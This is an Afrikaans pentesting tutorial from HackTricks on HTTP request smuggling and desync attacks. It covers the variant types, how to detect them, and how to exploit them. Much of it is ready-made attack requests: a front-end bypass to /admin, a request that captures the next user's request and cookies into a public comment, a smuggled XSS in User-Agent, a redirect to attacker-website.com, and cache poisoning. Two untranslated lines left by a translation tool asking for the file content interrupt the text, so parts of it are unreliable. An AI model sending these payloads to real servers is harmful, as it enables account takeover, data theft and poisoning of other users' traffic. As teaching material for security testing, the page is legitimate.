HTTP Request Smuggling / HTTP Desync Attack

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Wat is

Hierdie kwesbaarheid ontstaan wanneer ’n desinchronisering tussen front-end proxies en die back-end bediener ’n aanvaller toelaat om ’n HTTP request te stuur wat deur die front-end proxies (load balance/reverse-proxy) as ’n enkele request geïnterpreteer word en deur die back-end bediener as 2 requests.
Dit stel ’n gebruiker in staat om die volgende request wat ná sy eie by die back-end bediener inkom, te wysig.

Teorie

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Werklikheid

Die Front-End (n load-balancer / Reverse Proxy) verwerk óf die Content-Length óf die Transfer-Encoding header, en die Back-end bediener verwerk die ander een, wat ’n desinchronisering tussen die twee stelsels veroorsaak.\ Dit kan baie kritiek wees aangesien ’n aanvaller een request aan die reverse proxy kan stuur wat deur die back-end bediener as twee verskillende requests geïnterpreteer word. Die gevaar van hierdie tegniek lê daarin dat die back-end bediener die 2de ingespuitde request asof dit van die volgende kliënt gekom het sal interpreteer, en die werklike request van daardie kliënt deel van die ingespuitde request kan word.

Besonderhede

Onthou dat in HTTP ’n nuwe reël karakter uit 2 bytes bestaan:

• Content-Length: Hierdie header gebruik ’n desimale nommer om die aantal bytes van die body van die request aan te dui. Die body word verwag om by die laaste karakter te eindig; ’n nuwe reël aan die einde van die request is nie nodig nie.
• Transfer-Encoding: Hierdie header gebruik in die body ’n heksadesimale nommer om die aantal bytes van die volgende chunk aan te dui. Die chunk moet met ’n nuwe reël eindig, maar hierdie reël word nie deur die lengte-aanwyser getel nie. Hierdie oordragmetode moet eindig met ’n chunk van grootte 0 gevolg deur 2 nuwe reëls: 0
• Connection: Gebaseer op ervaring word dit aanbeveel om Connection: keep-alive te gebruik op die eerste request van die request smuggling.

Sigbaar - Verborgen

Die hoofprobleem met HTTP/1.1 is dat alle requests dieselfde TCP-sok gaan; dus as ’n verskil gevind word tussen twee stelsels wat requests ontvang, is dit moontlik om een request te stuur wat deur die finale backend (of selfs intermediêre stelsels) as twee verskillende requests (of meer) behandel word.

This blog post stel nuwe metodes voor om desync-aanvalle op ’n stelsel te ontdek wat nie deur WAFs gevlag sal word nie. Hiervoor word die Sigbaar vs Verborgen gedrag voorgestel. Die doel is om te probeer om skuiwings in die reaksie te vind deur tegnieke wat moontlik desyncs veroorsaak sonder om regtig iets te exploiteer.

Byvoorbeeld: as ’n request met die normale Host-header en ’n “ host“ header gestuur word, en die backend kla oor hierdie request (miskien omdat die waarde van “ host“ verkeerd is), beteken dit moontlik dat die front-end nie oor die “ host“ header geweet het nie terwyl die finale backend dit wel gebruik het — hoogs waarskynlik wat ’n desync tussen front-end en backend aandui.

Dit sou ’n Verborgen-Sigbaar verskil wees.

As die front-end die “ host“ header in ag geneem het maar die backend nie, sou dit ’n Sigbaar-Verborgen situasie wees.

Byvoorbeeld, dit het toegelaat om desyncs te ontdek tussen AWS ALB as front-end en IIS as die backend. Dit was omdat toe “Host: foo/bar” gestuur is, die ALB 400, Server; awselb/2.0 teruggestuur het, maar toe “Host : foo/bar” gestuur is, het dit 400, Server: Microsoft-HTTPAPI/2.0 teruggestuur, wat aandui dat die backend die response stuur. Dit is ’n Verborgen-Sigbaar (H-V) situasie.

Let daarop dat hierdie situasie nie in AWS reggestel is nie, maar dit kan voorkom word deur routing.http.drop_invalid_header_fields.enabled en routing.http.desync_mitigation_mode = strictest te stel.

Basiese Voorbeelde

Tip

Wanneer jy probeer om dit met Burp Suite te exploiteer, deaktiveer asseblief Update Content-Length en Normalize HTTP/1 line endings in die repeater omdat sommige gadgets nuwe reëls, carriage returns en gemalformeerde content-lengths misbruik.

HTTP request smuggling-aanvalle word saamgestel deur ambigue requests te stuur wat verskille uitbuit in hoe front-end en back-end servers die Content-Length (CL) en Transfer-Encoding (TE) headers interpreteer. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as CL.TE, TE.CL, en TE.TE. Elke tipe verteenwoordig ’n unieke kombinasie van prioritering van hierdie headers deur die front-end en back-end servers. Die kwesbaarhede ontstaan omdat die servers dieselfde request op verskillende maniere verwerk, wat tot onverwagte en moontlik kwaadwillige uitkomste lei.

Basiese Voorbeelde van Kwetsbaarheidstipes

Tip

By die vorige tabel behoort jy die TE.0-tegniek by te voeg, soortgelyk aan die CL.0-tegniek maar met Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

• Front-End (CL): Verwerk die request gebaseer op die Content-Length header.

• Back-End (TE): Verwerk die request gebaseer op die Transfer-Encoding header.

• Aanvalsscenario:

• Die aanvaller stuur ’n request waar die waarde van die Content-Length header nie ooreenstem met die werklike lengte van die inhoud nie.

• Die front-end server stuur die hele request deur na die back-end op grond van die Content-Length waarde.

• Die back-end server verwerk die request as chunked weens die Transfer-Encoding: chunked header en interpreteer die oorblywende data as ’n aparte, daaropvolgende request.

• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

• Front-End (TE): Verwerk die request gebaseer op die Transfer-Encoding header.

• Back-End (CL): Verwerk die request gebaseer op die Content-Length header.

• Aanvalsscenario:

• Die aanvaller stuur ’n chunked request waar die chunkgrootte (7b) en die werklike content length (Content-Length: 4) nie ooreenstem nie.

• Die front-end server, wat Transfer-Encoding eerbiedig, stuur die hele request na die back-end.

• Die back-end server, wat Content-Length eerbiedig, verwerk slegs die aanvanklike deel van die request (7b bytes), en laat die res oor as deel van ’n onbedoelde daaropvolgende request.

• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

• Servers: Albei ondersteun Transfer-Encoding, maar een kan mislei word om dit te ignoreer deur obfuskasie.

• Aanvalsscenario:

• Die aanvaller stuur ’n request met obfuskeerde Transfer-Encoding headers.

• Afhangend van watter server (front-end of back-end) die obfuskasie nie herken nie, kan ’n CL.TE of TE.CL kwesbaarheid uitgebuit word.

• Die onverwerkte deel van die request, soos gesien deur een van die servers, word deel van ’n daaropvolgende request, wat tot smuggling lei.

• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

• Albei servers verwerk die request uitsluitlik op grond van die Content-Length header.
• Hierdie scenario lei gewoonlik nie tot smuggling nie, aangesien daar samehorigheid is in hoe beide servers die lengte van die request interpreteer.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

• Verwys na scenario’s waar die Content-Length header teenwoordig is en ’n waarde anders as nul het, wat aandui dat die request body inhoud het. Die back-end ignoreer die Content-Length header (wat as 0 behandel word), maar die front-end ontleed dit.
• Dit is belangrik om te verstaan vir die samestelling van smuggling-aanvalle, aangesien dit beïnvloed hoe servers die einde van ’n request bepaal.
• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

• Soortgelyk aan die vorige maar gebruik TE.
• Tegniek reported here
• Voorbeeld:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Skenario

In ’n 0.CL situasie word ’n request gestuur met ’n Content-Length soos:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

En die front-end neem nie die Content-Length in ag nie, dus stuur dit slegs die eerste request na die backend (tot die 7 in die voorbeeld). Die backend sien egter die Content-Length en wag vir ’n body wat nooit aankom nie omdat die front-end reeds op die response wag.

As daar egter ’n request is wat moontlik na die backend gestuur kan word en waarvoor ’n response gegee word voordat die body van die request ontvang is, sal hierdie deadlock nie voorkom nie. In IIS gebeur dit byvoorbeeld wanneer ’n request na verbode name soos /con gestuur word (check die documentation), op hierdie manier sal die aanvanklike request direk geantwoord word en die tweede request sal die request van die slagoffer bevat soos:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Dit is nuttig om ’n desync te veroorsaak, maar dit het tot dusver geen uitwerking nie.

However, the post offers a solution for this by converting a 0.CL attack into a CL.0 with a double desync.

Breaking the web server

Hierdie tegniek is ook nuttig in scenario’s waar dit moontlik is om ’n webbediener te breek terwyl die aanvanklike HTTP-data gelees word, maar sonder om die verbinding te sluit. Op hierdie manier sal die body van die HTTP request as die next HTTP request beskou word.

For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive, the body of the request won’t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.

Forcing via hop-by-hop headers

Deur hop-by-hop headers te misbruik kan jy die proxy aandui om die header Content-Length of Transfer-Encoding te verwyder sodat ’n HTTP request smuggling moontlik uitgebuit kan word.

Connection: Content-Length

For meer inligting oor hop-by-hop headers besoek:

hop-by-hop headers

Opsporing van HTTP Request Smuggling

Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bereik word met tydgebaseerde tegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede op te spoor. Benewens hierdie metodes is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:

Finding CL.TE Vulnerabilities Using Timing Techniques

• Metode:

• Stuur ’n versoek wat, as die toepassing kwesbaar is, die back-end bediener sal laat wag vir addisionele data.

• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Waarneming:

• Die front-end server verwerk die versoek gebaseer op Content-Length en kap die boodskap voortydig af.

• Die back-end bediener, wat ’n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat ’n vertraging veroorsaak.

• Aanwysers:

• Time-outs of lang vertraging in respons.

• Ontvang van ’n 400 Bad Request fout vanaf die back-end bediener, soms met gedetaileerde bedienerinligting.

Finding TE.CL Vulnerabilities Using Timing Techniques

• Metode:

• Stuur ’n versoek wat, as die toepassing kwesbaar is, die back-end bediener sal laat wag vir addisionele data.

• Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Waarneming:
• Die front-end server verwerk die versoek gebaseer op Transfer-Encoding en stuur die hele boodskap deur.
• Die back-end bediener, wat ’n boodskap gebaseer op Content-Length verwag, wag vir addisionele data wat nooit aankom nie, wat ’n vertraging veroorsaak.

Ander Metodes om Kwesbaarhede te Vind

• Differensiële antwoordanalise:
• Stuur effens veranderde weergawes van ’n versoek en kyk of die bediener se antwoorde onverwags verskil, wat ’n parsingsverskil aandui.
• Gebruik van geoutomatiseerde gereedskap:
• Gereedskap soos Burp Suite se ‘HTTP Request Smuggler’ extension kan outomaties vir hierdie kwesbaarhede toets deur verskeie vorme van dubbelzinnige versoeke te stuur en die antwoorde te analiseer.
• Content-Length variansietoetse:
• Stuur versoeke met wisselende Content-Length waardes wat nie met die werklike inhoudsduur ooreenstem nie en waarneem hoe die bediener sulke wanpassings hanteer.
• Transfer-Encoding variansietoetse:
• Stuur versoeke met versleutelde of verkeerd gevormde Transfer-Encoding koppe en monitor hoe die front-end en back-end bedieners op verskillende maniere op sulke manipulasies reageer.

The Expect: 100-continue header

Kyk hoe hierdie kop kan help om ’n http desync te benut in:

Special Http Headers

HTTP Request Smuggling Kwesbaarheidstoetsing

Nadat die doeltreffendheid van tydgebaseerde tegnieke bevestig is, is dit belangrik om te verifieer of kliëntversoeke gemanipuleer kan word. ’n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld om ’n versoek na / ’n 404-respons te laat teruggee. Die CL.TE en TE.CL voorbeelde wat vroeër in Basic Examples bespreek is, demonstreer hoe om ’n kliënt se versoek te vergiftig om ’n 404-respons uit te lok, ondanks dat die kliënt ’n ander hulpbron probeer bereik.

Belangrike oorwegings

Wanneer jy toets vir request smuggling-kwesbaarhede deur met ander versoeke te inmeng, hou in gedagte:

• Afsonderlike netwerkverbindings: Die “attack” en “normal” versoeke moet oor aparte netwerkverbindings gestuur word. Om dieselfde verbinding vir albei te gebruik, valideer nie die bestaan van die kwesbaarheid nie.
• Konstante URL en parameters: Streef daarna om identiese URL’s en parametername vir beide versoeke te gebruik. Moderne toepassings stuur dikwels versoeke na spesifieke back-end bedieners gebaseer op URL en parameters. Om dit te laat saamval verhoog die waarskynlikheid dat beide versoeke deur dieselfde bediener verwerk word, ’n voorvereiste vir ’n suksesvolle attack.
• Tyding en wedrenstoestande: Die “normal” versoek, bedoel om foutversorging van die “attack” versoek op te spoor, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur daarom die “normal” versoek onmiddellik ná die “attack” versoek. Besige toepassings mag verskeie probeerslae vereis vir ’n oortuigende bevestiging van die kwesbaarheid.
• Load Balancing-uitdagings: Front-end bedieners wat as load balancers optree, kan versoeke oor verskeie back-end stelsels versprei. As die “attack” en “normal” versoeke op verskillende stelsels beland, sal die attack nie slaag nie. Hierdie load balancing-aspek kan verskeie poging vereis om ’n kwesbaarheid te bevestig.
• Onbedoelde gebruikersimpak: As jou attack per ongeluk ’n ander gebruiker se versoek beïnvloed (nie die “normal” versoek wat jy vir opsporing gestuur het nie), dui dit aan dat jou attack ’n ander toepassingsgebruiker beïnvloed het. Konsekwente toetsing kan ander gebruikers ontwrig, wat ’n versigtige benadering vereis.

Onderskei HTTP/1.1 pipelining-artefakte vs egte request smuggling

Verbindingshergebruik (keep-alive) en pipelining kan maklik illusies van “smuggling” produseer in toetsgereedskap wat meerdere versoeke op dieselfde sok stuur. Leer om skadelose kliëntkant-artefakte van werklike bedienerkant desync te skei.

Waarom pipelining klassieke vals positiewe skep

HTTP/1.1 hergebruik ’n enkele TCP/TLS verbinding en koppel versoeke en antwoorde op dieselfde stroom aanmekaar. In pipelining stuur die kliënt verskeie versoeke agtereenvolgens en vertrou op antwoorde in volgorde. ’n Algemene vals-positief is om ’n verkeerd gevormde CL.0-styl payload twee keer op ’n enkele verbinding te herstuur:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

I don’t have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md and I’ll translate the English text to Afrikaans, preserving markdown, code, links and tags exactly as requested.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

As die server die verkeerd gevormde Content_Length geïgnoreer het, is daar geen FE↔BE desync nie. Met reuse het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests ontleed het:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: geen. Jy het net jou kliënt van die server framing gedesinchroniseer.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with “HTTP/1 connection reuse”, Repeater “Send group in sequence (single connection)” or “Enable connection reuse”.

Litmus-toetse: pipelining of werklike desync?

1. Deaktiveer reuse en toets weer

• In Burp Intruder/Repeater, skakel HTTP/1 reuse af en vermy “Send group in sequence”.
• In Turbo Intruder, stel requestsPerConnection=1 en pipeline=False.
• As die gedrag verdwyn, was dit waarskynlik client-side pipelining, tensy jy te doen het met connection-locked/stateful teikens of client-side desync.

2. HTTP/2 nested-response kontrole

• Stuur ’n HTTP/2 versoek. As die response-body ’n volledige geneste HTTP/1 response bevat, het jy ’n backend parsing/desync fout bewys eerder as ’n suiwer client artefak.

3. Partial-requests probe vir connection-locked front-ends

• Sommige FEs hergebruik die upstream BE-verbinding slegs as die kliënt hullene hergebruik het. Gebruik partial-requests om FE-gedrag te ontdek wat kliënt-reuse weerspieël.
• Sien PortSwigger “Browser‑Powered Desync Attacks” vir die connection-locked tegniek.

4. State probes

• Kyk vir verskille tussen eerste- en daaropvolgende-versoeke op dieselfde TCP-verbinding (first-request routing/validation).
• Burp “HTTP Request Smuggler” sluit ’n connection‑state probe in wat dit outomatiseer.

5. Visualiseer die draad

• Gebruik die Burp “HTTP Hacker” extension om concatenation en message framing direk te inspekteer terwyl jy met reuse en partial requests eksperimenteer.

Connection‑locked request smuggling (reuse-required)

Sommige front-ends hergebruik die upstream verbinding slegs wanneer die kliënt hullene hergebruik. Werklike smuggling bestaan, maar is afhanklik van client-side reuse. Om te onderskei en impak te bewys:

• Bewys die server-side fout
• Gebruik die HTTP/2 nested-response kontrole, of
• Gebruik partial-requests om te wys dat die FE slegs upstream hergebruik wanneer die kliënt dit doen.
• Demonstreer werklike impak selfs as direkte cross-user socket misbruik geblokkeer is:
• Cache poisoning: besmet gedeelde caches via die desync sodat responses ander gebruikers raak.
• Internal header disclosure: reflekteer FE-geïnjekteerde headers (bv. auth/trust headers) en pivot na auth bypass.
• Bypass FE controls: smuggle beperkte paths/methods verby die front-end.
• Host-header abuse: kombineer met host routing quirks om na interne vhosts te pivot.
• Operator workflow
• Reproduseer met gekontroleerde reuse (Turbo Intruder requestsPerConnection=2, of Burp Repeater tab group → “Send group in sequence (single connection)”).
• Ketting dan na cache/header-leak/control-bypass primitives en demonstreer cross-user of authorization impak.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync beperkings

As jy browser-powered/client-side desync teiken, moet die kwaadwillige versoek deur ’n browser cross-origin gestuur kan word. Header obfuscation truuks sal nie werk nie. Fokus op primitives wat deur navigation/fetch bereikbaar is, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream komponente responses reflekteer of in die cache stoor.

Vir agtergrond en end-to-end workflows:

Browser HTTP Request Smuggling

Gereedskap om te help besluit

• HTTP Hacker (Burp BApp Store): ontsluit lae-vlak HTTP-gedrag en socket concatenation.
• “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
• Turbo Intruder: presiese beheer oor connection reuse via requestsPerConnection.
• Burp HTTP Request Smuggler: sluit ’n connection‑state probe in om first‑request routing/validation op te spoor.

Note

Behandel reuse-only effekte as nie-kwessies tensy jy server-side desync kan bewys en konkrete impak kan koppel (besmette cache-artifact, gevlekte internal header wat privilege bypass moontlik maak, omseëning van FE kontrole, ens.).

Misbruik van HTTP Request Smuggling

Omseiling van Front-End sekuriteit via HTTP Request Smuggling

Soms dwing front-end proxies sekuriteitsmaatreëls af en inspekteer inkomende versoeke. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling, wat onbevoegde toegang tot beperkte endpoints moontlik maak. Byvoorbeeld, toegang tot /admin kan ekstern verbied wees, met die front-end proxy wat sulke pogings aktief blokkeer. Tog kan hierdie proxy nalaat om ingeslote versoeke binne ’n gesmugglede HTTP versoek te inspekteer, wat ’n leemte skep om hierdie beperkings te omseil.

Dink aan die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek die teiken van die /admin path wat tipies deur die front-end proxy beveilig word:

CL.TE Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In die CL.TE-aanval word die Content-Length header vir die aanvanklike aanvraag gebruik, terwyl die daaropvolgende ingeslote aanvraag die Transfer-Encoding: chunked header gebruik. Die front-end proxy verwerk die aanvanklike POST-aanvraag, maar versuim om die ingeslote GET /admin-aanvraag te inspekteer, wat ongeoorloofde toegang tot die /admin-pad moontlik maak.

TE.CL Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Daarenteen, in die TE.CL-aanval gebruik die aanvanklike POST versoek Transfer-Encoding: chunked, en die daaropvolgende ingeslote versoek word verwerk op grond van die Content-Length header. Net soos in die CL.TE-aanval, ignoreer die front-end proxy die gesmokkelde GET /admin versoek, wat per ongeluk toegang tot die beperkte /admin pad verleen.

Ontdekking van front-end versoek-herschrywing

Toepassings gebruik dikwels ’n front-end bediener om inkomende versoeke te wysig voordat hulle aan die back-end bediener deurgegee word. ’n Tipiese wysiging behels die byvoeging van headers, soos X-Forwarded-For: <IP of the client>, om die kliënt se IP aan die back-end deur te gee. Om hierdie wysigings te begryp kan kritiek wees, aangesien dit maniere kan blootlê om beskerming te omseil of om versteekte inligting of endpunte aan die lig te bring.

Om te ondersoek hoe ’n proxy ’n versoek verander, identifiseer ’n POST-parameter wat die back-end in die response weerspieël. Skep dan ’n versoek waarin hierdie parameter laaste verskyn, soortgelyk aan die volgende:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In hierdie struktuur word daaropvolgende request-komponente aangeheg na search=, wat die parameter is wat in die response weerspieël word. Hierdie weerspieëling sal die headers van die daaropvolgende request blootstel.

Dit is belangrik om die Content-Length header van die geneste request te belyn met die werklike content length. Begin met ’n klein waarde en verhoog dit geleidelik — te laag sal die weerspieelde data afknyp, terwyl te hoog die request kan laat fout.

Hierdie tegniek is ook toepaslik in die konteks van ’n TE.CL kwetsbaarheid, maar die request moet terminate met search=\r\n0. Ongeag die newline-karakters, sal die waardes by die search parameter aangeheg word.

Hierdie metode dien hoofsaaklik om die request-wysigings wat deur die front-end proxy gemaak word te verstaan — dit is in wese ’n selfgerigte ondersoek.

Vasvang ander gebruikers se versoeke

Dit is uitvoerbaar om die requests van die volgende gebruiker te vang deur ’n spesifieke request as die waarde van ’n parameter tydens ’n POST-operasie aan te heg. So kan dit bereik word:

Deur die volgende request as die waarde van ’n parameter aan te heg, kan jy die daaropvolgende kliënt se request stoor:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In hierdie scenario is die comment parameter bedoel om die inhoud binne ’n pos se kommentaarafdeling op ’n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as ’n kommentaar verskyn.

Hierdie tegniek het egter beperkings. Oor die algemeen kap dit data slegs tot by die parameter-onderskeider wat in die gesmokkelde versoek gebruik word. Vir URL-encoded form submissions is hierdie onderskeider die & karakter. Dit beteken dat die gekapte inhoud van die slagoffer se versoek by die eerste & sal stop, wat selfs deel van die query string kan wees.

Dit is ook die moeite werd om te noem dat hierdie benadering ook werk met ’n TE.CL kwetsbaarheid. In sulke gevalle moet die versoek eindig met search=\r\n0. Ongeag die newline-karakters, sal die waardes by die search-parameter aangeheg word.

Gebruik van HTTP request smuggling om Reflected XSS te misbruik

HTTP Request Smuggling kan benut word om webbladsye wat vatbaar is vir Reflected XSS te misbruik, en bied beduidende voordele:

• Interaksie met die teikengebruikers is nie nodig nie.
• Laat toe dat XSS uitgebuit word in dele van die versoek wat gewoonlik onbereikbaar is, soos HTTP request headers.

In scenario’s waar ’n webwerf vatbaar is vir Reflected XSS deur die User-Agent header, demonstreer die volgende payload hoe om hierdie kwetsbaarheid te misbruik:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload is gestruktureer om die kwesbaarheid te misbruik deur:

1. Initiëer ’n POST request, skynbaar tipies, met ’n Transfer-Encoding: chunked header om die begin van smuggling aan te dui.
2. Daarna ’n 0, wat die einde van die chunked message body aandui.
3. Dan word ’n gesmuggelde GET request ingevoer, waar die User-Agent header geïnjekteer word met ’n script, <script>alert(1)</script>, wat die XSS veroorsaak wanneer die bediener hierdie opvolgende request verwerk.

Deur die User-Agent deur smuggling te manipuleer, omseil die payload normale request-beperkings en benut dus die Reflected XSS-kwesbaarheid op ’n nie-standaard maar doeltreffende wyse.

HTTP/0.9

Caution

In geval die gebruiker inhoud gereflekteer word in ’n response met ’n Content-type soos text/plain, wat die uitvoering van die XSS keer. As die bediener HTTP/0.9 ondersteun kan dit moontlik wees om dit te omseil!

Die weergawe HTTP/0.9 het voorafgegaan aan 1.0 en gebruik slegs GET verbs en reageer nie met headers nie, net die body.

In this writeup is dit misbruik met request smuggling en ’n vulnerable endpoint wat met die gebruiker se invoer sal antwoord om ’n request met HTTP/0.9 te smuggle. Die parameter wat in die response gereflekteer sal word het ’n fake HTTP/1.1 response (with headers and body) bevat sodat die response geldige uitvoerbare JS-kode sal bevat met ’n Content-Type van text/html.

Benutting van on-site redirects met HTTP Request Smuggling

Aansoeke herlei dikwels van een URL na ’n ander deur die hostname van die Host header in die redirect URL te gebruik. Dit is algemeen by webservers soos Apache en IIS. Byvoorbeeld, ’n versoek na ’n gids sonder ’n trailing slash lei tot ’n redirect om die slash in te sluit:

GET /home HTTP/1.1
Host: normal-website.com

I don’t have the README.md contents. Please paste the file text you want translated and I’ll return an Afrikaans translation preserving all markdown, tags, links and code.

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Alhoewel dit skynbaar onskadelik is, kan hierdie gedrag deur middel van HTTP request smuggling gemanipuleer word om gebruikers na ’n eksterne webwerf te herlei. Byvoorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hierdie smuggled request kan veroorsaak dat die volgende verwerkte gebruikersversoek na ’n attacker-controlled website herlei word:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Gevolg:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In hierdie scenario word ’n gebruiker se versoek vir ’n JavaScript-lêer gekaap. Die aanvaller kan die gebruiker moontlik kompromitteer deur kwaadwillige JavaScript as reaksie te lewer.

Benut Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning kan uitgevoer word as enige komponent van die front-end infrastructure caches content inhoud kas, tipies om prestasie te verbeter. Deur die server se reaksie te manipuleer, is dit moontlik om die poison the cache.

Voorheen het ons waargeneem hoe server-reaksies verander kan word om ’n 404-fout terug te gee (verwys na Basic Examples). Op ’n soortgelyke wyse is dit uitvoerbaar om die server te mislei om /index.html-inhoud te lewer as reaksie op ’n versoek vir /static/include.js. Gevolglik word die inhoud van /static/include.js in die cache vervang deur dié van /index.html, wat /static/include.js ontoeganklik vir gebruikers maak en moontlik lei tot ’n Denial of Service (DoS).

